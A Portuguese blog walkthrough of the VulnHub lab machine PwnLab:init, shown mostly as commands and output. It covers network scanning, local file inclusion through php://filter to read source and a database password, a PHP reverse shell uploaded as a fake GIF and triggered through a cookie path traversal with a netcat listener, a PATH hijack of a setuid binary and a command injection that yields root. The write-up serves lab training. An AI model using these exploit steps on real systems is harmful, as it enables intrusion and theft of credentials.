Estou aqui novamente para apresentar mais uma boot2root VM para vocês. Dessa vez lhes trago PwnLab:init.
Essa máquina possui o nível de dificuldade Baixo e foi lançada em 01 de Agosto de 2016.
O download pode ser realizado em https://www.vulnhub.com/entry/pwnlab-init,158/.
Sem mais delongas, vamos ao que interessa!
Como sempre começamos com o host discovery:
$ netdiscover -i eth1 -r 192.168.56.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.56.1 0a:00:27:00:00:00 1 60 Unknown vendor 192.168.56.100 08:00:27:6f:54:ba 1 60 PCS Systemtechnik GmbH 192.168.56.101 08:00:27:c3:83:2c 1 60 PCS Systemtechnik GmbH
Agora que já identificamos nosso alvo, podemos descobrir quais são os serviços existentes nesse host:
$ nmap -sV -sC -Pn -p- 192.168.56.101
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-23 17:10 EST
Nmap scan report for 192.168.56.101
Host is up (0.00023s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 48348/tcp status
|_ 100024 1 56684/udp status
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
| mysql-info:
| Protocol: 10
| Version: 5.5.47-0+deb8u1
| Thread ID: 38
| Capabilities flags: 63487
| Some Capabilities: LongColumnFlag, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, FoundRows, ODBCClient, IgnoreSigpipes, Speaks41ProtocolOld, SupportsTransactions, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsCompression, LongPassword, ConnectWithDatabase, Support41Auth, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
| Status: Autocommit
| Salt: {J<-iO,0KfD\%?PT6Nf8
|_ Auth Plugin Name: 88
48348/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:C3:83:2C (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.53 seconds
Os serviços mais relevantes que identificamos são TCP-80 (http) e TCP-3306 (mysql).
Começaremos nossa análise pelo serviço http.
Vamos executar o nikto para tentar levantar informações relevantes.
$ nikto -h 192.168.56.101 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.56.101 + Target Hostname: 192.168.56.101 + Target Port: 80 + Start Time: 2018-11-23 21:01:30 (GMT-5) --------------------------------------------------------------------------- + Server: Apache/2.4.10 (Debian) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current. + IP address found in the 'location' header. The IP is "127.0.1.1". + OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.1.1/images/". + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + Cookie PHPSESSID created without the httponly flag + /config.php: PHP Config file may contain database IDs and passwords. + OSVDB-3268: /images/: Directory indexing found. + OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found. + Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80 + OSVDB-3233: /icons/README: Apache default file found. + /login.php: Admin login page/section found. + 7535 requests: 0 error(s) and 14 item(s) reported on remote host + End Time: 2018-11-23 21:02:00 (GMT-5) (30 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
identificamos a existência da página login.php e config.php.
Também realizaremos um directory brute force na aplicação.
$ dirb http://192.168.56.101 ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Fri Nov 23 21:13:12 2018 URL_BASE: http://192.168.56.101/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.56.101/ ---- ==> DIRECTORY: http://192.168.56.101/images/ + http://192.168.56.101/index.php (CODE:200|SIZE:332) + http://192.168.56.101/server-status (CODE:403|SIZE:302) ==> DIRECTORY: http://192.168.56.101/upload/ ---- Entering directory: http://192.168.56.101/images/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.56.101/upload/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Fri Nov 23 21:13:21 2018 DOWNLOADED: 4612 - FOUND: 2
identificamos também a existência dos diretórios images e upload.
Bem…hora de analisar a aplicação manualmente.
Trata-se de uma aplicação bem simples para compartilhar imagens na intranet.
Rapidamente identificamos um portal de autenticação…
E uma página para realização de uploads de imagem. Obviamente para utilizar essa funcionalidade é necessário realizar a autenticação.
Aparentemente a página é vulnerável a LFI, porém não conseguimos explorar essa falha utilizando técnicas básicas. Logo tivemos que apelar novamente para utilização de wrappers.
$ curl http://192.168.56.101/?page=php://filter/convert.base64-encode/resource=login PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCnJlcXVpcmUoImNvbmZpZy5waHAiKTsNCiRteXNxbGkgPSBuZXcgbXlzcWxpKCRzZXJ2ZXIsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGF0YWJhc2UpOw0KDQppZiAoaXNzZXQoJF9QT1NUWyd1c2VyJ10pIGFuZCBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpDQp7DQoJJGx1c2VyID0gJF9QT1NUWyd1c2VyJ107DQoJJGxwYXNzID0gYmFzZTY0X2VuY29kZSgkX1BPU1RbJ3Bhc3MnXSk7DQoNCgkkc3RtdCA9ICRteXNxbGktPnByZXBhcmUoIlNFTEVDVCAqIEZST00gdXNlcnMgV0hFUkUgdXNlcj0/IEFORCBwYXNzPT8iKTsNCgkkc3RtdC0+YmluZF9wYXJhbSgnc3MnLCAkbHVzZXIsICRscGFzcyk7DQoNCgkkc3RtdC0+ZXhlY3V0ZSgpOw0KCSRzdG10LT5zdG9yZV9SZXN1bHQoKTsNCg0KCWlmICgkc3RtdC0+bnVtX3Jvd3MgPT0gMSkNCgl7DQoJCSRfU0VTU0lPTlsndXNlciddID0gJGx1c2VyOw0KCQloZWFkZXIoJ0xvY2F0aW9uOiA/cGFnZT11cGxvYWQnKTsNCgl9DQoJZWxzZQ0KCXsNCgkJZWNobyAiTG9naW4gZmFpbGVkLiI7DQoJfQ0KfQ0KZWxzZQ0Kew0KCT8+DQoJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+DQoJPGxhYmVsPlVzZXJuYW1lOiA8L2xhYmVsPjxpbnB1dCBpZD0idXNlciIgdHlwZT0idGVzdCIgbmFtZT0idXNlciI+PGJyIC8+DQoJPGxhYmVsPlBhc3N3b3JkOiA8L2xhYmVsPjxpbnB1dCBpZD0icGFzcyIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3MiPjxiciAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4NCgk8L2Zvcm0+DQoJPD9waHANCn0NCg==
Realizando o decode…
$ echo "PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCnJlcXVpcmUoImNvbmZpZy5waHAiKTsNCiRteXNxbGkgPSBuZXcgbXlzcWxpKCRzZXJ2ZXIsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGF0YWJhc2UpOw0KDQppZiAoaXNzZXQoJF9QT1NUWyd1c2VyJ10pIGFuZCBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpDQp7DQoJJGx1c2VyID0gJF9QT1NUWyd1c2VyJ107DQoJJGxwYXNzID0gYmFzZTY0X2VuY29kZSgkX1BPU1RbJ3Bhc3MnXSk7DQoNCgkkc3RtdCA9ICRteXNxbGktPnByZXBhcmUoIlNFTEVDVCAqIEZST00gdXNlcnMgV0hFUkUgdXNlcj0/IEFORCBwYXNzPT8iKTsNCgkkc3RtdC0+YmluZF9wYXJhbSgnc3MnLCAkbHVzZXIsICRscGFzcyk7DQoNCgkkc3RtdC0+ZXhlY3V0ZSgpOw0KCSRzdG10LT5zdG9yZV9SZXN1bHQoKTsNCg0KCWlmICgkc3RtdC0+bnVtX3Jvd3MgPT0gMSkNCgl7DQoJCSRfU0VTU0lPTlsndXNlciddID0gJGx1c2VyOw0KCQloZWFkZXIoJ0xvY2F0aW9uOiA/cGFnZT11cGxvYWQnKTsNCgl9DQoJZWxzZQ0KCXsNCgkJZWNobyAiTG9naW4gZmFpbGVkLiI7DQoJfQ0KfQ0KZWxzZQ0Kew0KCT8+DQoJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+DQoJPGxhYmVsPlVzZXJuYW1lOiA8L2xhYmVsPjxpbnB1dCBpZD0idXNlciIgdHlwZT0idGVzdCIgbmFtZT0idXNlciI+PGJyIC8+DQoJPGxhYmVsPlBhc3N3b3JkOiA8L2xhYmVsPjxpbnB1dCBpZD0icGFzcyIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3MiPjxiciAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4NCgk8L2Zvcm0+DQoJPD9waHANCn0NCg==" | base64 -d
Baseado no código acima, o nikto estava certo. O arquivo config.php possui credenciais de banco de dados.
Logo vamos utilizar a mesma técnica para ler o arquivo config.
$ curl http://192.168.56.101/?page=php://filter/convert.base64-encode/resource=config PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+ $ echo "PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+" | base64 -d
Podemos autenticar no mysql e procurar credencias de acesso a aplicação.
$ mysql -u root -p -h 192.168.56.101 Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 47 Server version: 5.5.47-0+deb8u1 (Debian) Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | Users | +--------------------+ 2 rows in set (0.00 sec) MySQL [(none)]> use Users; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MySQL [Users]> show tables; +-----------------+ | Tables_in_Users | +-----------------+ | users | +-----------------+ 1 row in set (0.00 sec) MySQL [Users]> desc users; +-------+-------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +-------+-------------+------+-----+---------+-------+ | user | varchar(30) | YES | | NULL | | | pass | varchar(30) | YES | | NULL | | +-------+-------------+------+-----+---------+-------+ 2 rows in set (0.00 sec) MySQL [Users]> select user,pass from users; +------+------------------+ | user | pass | +------+------------------+ | kent | Sld6WHVCSkpOeQ== | | mike | U0lmZHNURW42SQ== | | kane | aVN2NVltMkdSbw== | +------+------------------+ 3 rows in set (0.00 sec) MySQL [Users]>
Realizando o decode das senhas:
Kent: JWzXuBJJNy
Mike: SIfdsTEn6I
Kane: iSv5Ym2GRo
Agora que possuímos credencias válidas, podemos tentar autenticar na aplicação.
Done!
Vamos realizar o mesmo procedimento que executamos anteriormente e analisar o código da página de upload.
$ curl http://192.168.56.101/?page=php://filter/convert.base64-encode/resource=upload PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSgnWW91IG11c3QgYmUgbG9nIGluLicpOyB9DQo/Pg0KPGh0bWw+DQoJPGJvZHk+DQoJCTxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQkJPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGUnIGlkPSdmaWxlJyAvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJy8+DQoJCTwvZm9ybT4NCgk8L2JvZHk+DQo8L2h0bWw+DQo8P3BocCANCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7DQoJaWYgKCRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJJGZpbGV0eXBlICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSddOw0KCQkkdXBsb2FkZGlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsICcuJyk7DQoJCSRpbWFnZWluZm8gPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsNCgkJJHdoaXRlbGlzdCA9IGFycmF5KCIuanBnIiwiLmpwZWciLCIuZ2lmIiwiLnBuZyIpOyANCg0KCQlpZiAoIShpbl9hcnJheSgkZmlsZV9leHQsICR3aGl0ZWxpc3QpKSkgew0KCQkJZGllKCdOb3QgYWxsb3dlZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ubHkuJyk7DQoJCX0NCg0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PSBmYWxzZSkgew0KCQkJZGllKCdFcnJvciAwMDEnKTsNCgkJfQ0KDQoJCWlmKCRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvZ2lmJyAmJiAkaW1hZ2VpbmZvWydtaW1lJ10gIT0gJ2ltYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAwMDInKTsNCgkJfQ0KDQoJCWlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MSl7DQoJCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQl9DQoNCgkJJHVwbG9hZGZpbGUgPSAkdXBsb2FkZGlyIC4gbWQ1KGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVfZXh0Ow0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+IjsNCgkJfSBlbHNlIHsNCgkJCWRpZSgnRXJyb3IgNCcpOw0KCQl9DQoJfQ0KfQ0KDQo/Pg==
Realizando o decode novamente…
echo "PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSgnWW91IG11c3QgYmUgbG9nIGluLicpOyB9DQo/Pg0KPGh0bWw+DQoJPGJvZHk+DQoJCTxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQkJPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGUnIGlkPSdmaWxlJyAvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJy8+DQoJCTwvZm9ybT4NCgk8L2JvZHk+DQo8L2h0bWw+DQo8P3BocCANCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7DQoJaWYgKCRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJJGZpbGV0eXBlICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSddOw0KCQkkdXBsb2FkZGlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsICcuJyk7DQoJCSRpbWFnZWluZm8gPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsNCgkJJHdoaXRlbGlzdCA9IGFycmF5KCIuanBnIiwiLmpwZWciLCIuZ2lmIiwiLnBuZyIpOyANCg0KCQlpZiAoIShpbl9hcnJheSgkZmlsZV9leHQsICR3aGl0ZWxpc3QpKSkgew0KCQkJZGllKCdOb3QgYWxsb3dlZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ubHkuJyk7DQoJCX0NCg0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PSBmYWxzZSkgew0KCQkJZGllKCdFcnJvciAwMDEnKTsNCgkJfQ0KDQoJCWlmKCRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvZ2lmJyAmJiAkaW1hZ2VpbmZvWydtaW1lJ10gIT0gJ2ltYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAwMDInKTsNCgkJfQ0KDQoJCWlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MSl7DQoJCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQl9DQoNCgkJJHVwbG9hZGZpbGUgPSAkdXBsb2FkZGlyIC4gbWQ1KGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVfZXh0Ow0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+IjsNCgkJfSBlbHNlIHsNCgkJCWRpZSgnRXJyb3IgNCcpOw0KCQl9DQoJfQ0KfQ0KDQo/Pg==" | base64 -d
Teremos que criar um um arquivo malicioso dos mesmos moldes que fizemos na máquina CH4INRULZ. Ou seja, teremos que bypassar as restrições de extensão e minetype.
Para isso vamos novamente renomear nossa reverse shell em PHP para GIF. E em seguinda, adicionar a palavra GIF98 na primeira linha do arquivo.
Upload realizado com sucesso.
Precisamos agora encontrar alguma maneira de execução nossa reverse shell.
Após algumas análises, descobrimos na página index o trecho de código que vai nos ajudar a ganhar shell na máquina.
$ curl http://192.168.56.101/?page=php://filter/convert.base64-encode/resource=index PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=
Decoding…
$ echo "PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=" | base64 -d
Uma funcionalidade não implementada que nos ajudará a chamar nosso arquivo malicioso.
Precisamos apenas realizar uma chamada utilizando um cookie chamado lang, e alterar o path de “lang/en.lang.php” para “../upload/aab8cbec6886f96cdf9494f990a30d99.gif (LFI).
$ curl -b lang=../upload/aab8cbec6886f96cdf9494f990a30d99.gif http://192.168.56.101/
E aguardar a conexão…
$ nc -nvlp 443
listening on [any] 443 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 52405
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
20:40:41 up 5:31, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/sh")'
$
Agora que estamos dentro, hora de escalonar privilégio.
Começamos testando se ocorreu reutilização de senha pelos usuários mike, kane e kent.
Mike – Não houve a reutilização de senha.
Kent – Houve reutilização de senha.
Kane – Houve reutilização de senha.
Após logarmos com o usuário Kane, identificamos um arquivo chamado msgmike dentro do seu diretório home.
kane@pwnlab:~$ pwd /home/kane kane@pwnlab:~$ ls -la msgmike -rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike
Executando o arquivo…
kane@pwnlab:~$ ./msgmike ./msgmike cat: /home/mike/msg.txt: No such file or directory
hum…verificando o arquivo com o strings.
kane@pwnlab:~$ strings msgmike /lib/ld-linux.so.2 libc.so.6 _IO_stdin_used setregid setreuid ... cat /home/mike/msg.txt ... main setregid@@GLIBC_2.0 _Jv_RegisterClasses __TMC_END__ _ITM_registerTMCloneTable _init
Aparentemente, esse binário apenas executa um cat em um arquivo dentro do diretório home do mike (bitsetuid).
Para explorar esse binaŕio, vamos criar um novo arquivo cat malicioso.
kane@pwnlab:~$ echo /bin/sh > cat kane@pwnlab:~$chmod +x cat
Em seguida vamos alterar o PATH.
kane@pwnlab:~$ echo $PATH /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games kane@pwnlab:~$ export PATH=.:$PATH kane@pwnlab:~$ echo $PATH .:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games kane@pwnlab:~$
Com isso forçamos a execução do nosso arquivo cat malicioso.
kane@pwnlab:~$ ./msgmike $ id uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane) $
Após escalonarmos privilegio para o usuário mike, identificamos um outro arquivo chamado msg2root dentro do seu diretório home.
$ pwd /home/mike $ ls -la msg2root -rwsr-sr-x 1 root root 5364 Mar 17 2016 msg2root $
Aparentemente a função desse arquivo é apenas exibir uma mensagem para o root.
$ ./msg2root ./msg2root Message for root: ola root! ola root! ola root! $
Verificando o binário com o strings…
$ strings msg2root /lib/ld-linux.so.2 libc.so.6 _IO_stdin_used stdin fgets ... Message for root: /bin/echo %s >> /root/messages.txt ... main _Jv_RegisterClasses __TMC_END__ _ITM_registerTMCloneTable _init $
Baseado nas evidências acima, constatamos que o binário é vulnerável a command injection.
$ ./msg2root Message for root: ola root;sh ola root;sh ola root # id uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)
Capturando a flag.
# cat /root/flag.txt .-=~=-. .-=~=-. (__ _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__ _) (_ ___) _____ _ (_ ___) (__ _) / __ \ | | (__ _) ( _ __) | / \/ ___ _ __ __ _ _ __ __ _| |_ ___ ( _ __) (__ _) | | / _ \| '_ \ / _` | '__/ _` | __/ __| (__ _) (_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \ (_ ___) (__ _) \____/\___/|_| |_|\__, |_| \__,_|\__|___/ (__ _) ( _ __) __/ | ( _ __) (__ _) |___/ (__ _) (__ _) (__ _) (_ ___) If you are reading this, means that you have break 'init' (_ ___) ( _ __) Pwnlab. I hope you enjoyed and thanks for your time doing ( _ __) (__ _) this challenge. (__ _) (_ ___) (_ ___) ( _ __) Please send me your feedback or your writeup, I will love ( _ __) (__ _) reading it (__ _) (__ _) (__ _) (__ _) For sniferl4bs.com (__ _) ( _ __) claor@PwnLab.net - @Chronicoder ( _ __) (__ _) (__ _) (_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___) `-._.-' `-._.-' #
Até a próxima semana com mais uma máquina.
lcesteves.wordpress.com 